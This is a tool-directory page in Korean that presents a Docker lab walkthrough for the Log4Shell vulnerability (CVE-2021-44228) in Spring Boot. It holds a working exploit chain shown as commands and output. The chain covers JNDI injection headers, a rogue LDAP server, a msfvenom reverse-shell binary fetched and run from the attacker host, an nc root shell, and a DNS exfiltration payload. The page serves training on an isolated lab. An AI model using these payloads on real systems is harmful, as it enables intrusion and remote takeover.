Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
spring-boot-log4j-cve-2021-44228-docker-lab — Spring Boot Log4j - CVE-2021-44228 Docker 실습 | Kitploit
도구/GitHubGitHub/twseptian/spring-boot-log4j-cve-2021-44228-docker-lab
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlLearning & EducationLabs & Practice
GitHubtwseptian/spring-boot-log4j-cve-2021-44228-docker-lab

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

spring-boot-log4j-cve-2021-44228-docker-lab

Spring Boot Log4j - CVE-2021-44228 Docker 실습

저장소 보기
27204년 전Kitploit 검토 완료

Spring Boot Log4j - CVE-2021-44228

Log4Shell 취약점(CVE-2021-44228)은 본질적으로 매우 단순한 JNDI 주입 결함이지만, 정말 정말 치명적인 위치에 존재합니다. Log4J는 로깅 메시지에서 플레이스홀더를 확장할 때(또는 형식화된 메시지의 매개변수로 간접적으로) JNDI lookup()을 수행합니다. ...더 읽기 PSA: Log4Shell 및 JNDI 주입의 현재 상태.

Docker 랩 설정

참고: 이 dockerfile은 원래 Log4Shell 샘플 취약 애플리케이션 (CVE-2021-44228)에서 가져온 것입니다. Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1을 통해)과 JDK 1.8.0_181을 사용합니다.

CVE-2021-44228을 실습/학습하기 위한 컨테이너 랩입니다. 저장소를 클론해 봅시다.

root@kitploit:~
$ git clone https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab.git
$ cd Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab/
$ docker build spring-boot-log4j -t spring-boot-log4j-vulnerable
$ docker run -p 8080:8080 --name spring-boot-log4j-vulnerable spring-boot-log4j-vulnerable

spring-boot-v2.6.1

JNDI-Injection-Exploit을 사용한 공격

대상: 172.17.0.2
공격자: 172.17.0.1

  • https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2에서 JNDIExploit 다운로드 업데이트 (12월 13일): JNDIExploit 저장소가 GitHub에서 제거되었습니다.
root@kitploit:~
$ cd tools/
$ unzip JNDIExploit.v1.2.zip
$ cd JNDIExploit.v1.2/
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help
  • base64를 사용하여 명령줄을 인코딩합니다. 이 경우 대상 머신에서 공격자 머신으로 ping 명령을 보냅니다.
root@kitploit:~
$ echo 'ping -c 5 172.17.0.1' | base64 -w 0
cGluZyAtYyA1IDE3Mi4xNy4wLjEK
  • JNDIExploit을 사용하여 악성 LDAP 서버를 실행합니다.
root@kitploit:~
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
  • 그런 다음 아래 명령을 실행하여 대상 머신에서 ping 명령을 트리거합니다.
root@kitploit:~
$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK}'
  • JNDIExploit의 출력을 확인해 봅시다.
root@kitploit:~
...
[+] Received LDAP Query: Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK
[+] Paylaod: command
[+] Command: ping -c 5 172.17.0.1

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK redirecting to http://172.17.0.1:8888/ExploitX07BVXemV5.class
[+] New HTTP Request From /172.17.0.2:58630  /ExploitX07BVXemV5.class
[+] Receive ClassRequest: ExploitX07BVXemV5.class
[+] Response Code: 200
  • 이제 tcpdump를 사용하여 대상 머신에서 오는 ping 명령을 캡처할 수 있습니다.
root@kitploit:~
$ sudo tcpdump -i docker0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
22:32:07.210584 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 0, length 64
22:32:07.210594 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 0, length 64
22:32:08.210938 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 1, length 64
22:32:08.210965 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 1, length 64
22:32:09.211367 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 2, length 64
22:32:09.211391 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 2, length 64
22:32:10.211569 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 3, length 64
22:32:10.211592 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 3, length 64
22:32:11.211814 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 4, length 64
22:32:11.211848 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 4, length 64

원격 코드 실행 - CTF 스타일 "리버스 셸을 얻는 방법"

  • msfvenom을 사용하여 리버스 셸 파일을 생성합니다.
root@kitploit:~
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f elf -o /tmp/rev.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: /tmp/rev.elf
  • 공격 머신에서 python을 사용하여 로컬 서버를 준비합니다.
root@kitploit:~
$ sudo python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
  • 아래 명령줄을 base64로 인코딩합니다.
root@kitploit:~
wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf
  • base64 출력을 복사합니다.
root@kitploit:~
$ echo 'wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf' | base64
d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
  • JNDIExploit을 사용하여 악성 LDAP 서버를 실행합니다.
root@kitploit:~
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
...
  • 그런 다음 아래 명령을 실행하여 우리의 명령을 트리거합니다.
root@kitploit:~
$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK}'
Hello, world!
  • 공격자 머신에서 netcat 리버스 셸을 시작합니다. nc -lvnp 4444, 그러면 netcat이 리버스 셸을 트리거합니다.
root@kitploit:~
$ nc -lvnp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:42176.
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
whoami
root
  • JNDIExploit의 출력
root@kitploit:~
...
[+] Received LDAP Query: Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
[+] Paylaod: command
[+] Command: wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK redirecting to http://172.17.0.1:8888/ExploitgV2vh72T6X.class
[+] New HTTP Request From /172.17.0.2:58650  /ExploitgV2vh72T6X.class
[+] Receive ClassRequest: ExploitgV2vh72T6X.class
[+] Response Code: 200

burp suite collaborator를 사용하여 호스트 이름 얻기

  • 페이로드
root@kitploit:~
${jndi:ldap://${hostName}.our-link.burpcollaborator.net/}

dns-query.png

참고 자료:

  • Log4Shell: 인기 있는 Java 로깅 패키지인 log4j 2에서 발견된 RCE 0-day 취약점
  • PSA: Log4Shell 및 JNDI 주입의 현재 상태
  • Log4Shell 샘플 취약 애플리케이션 (CVE-2021-44228)
  • JNDIExploit 업데이트 (12월 13일): JNDIExploit 저장소가 GitHub에서 제거되었습니다.
도구 다운로드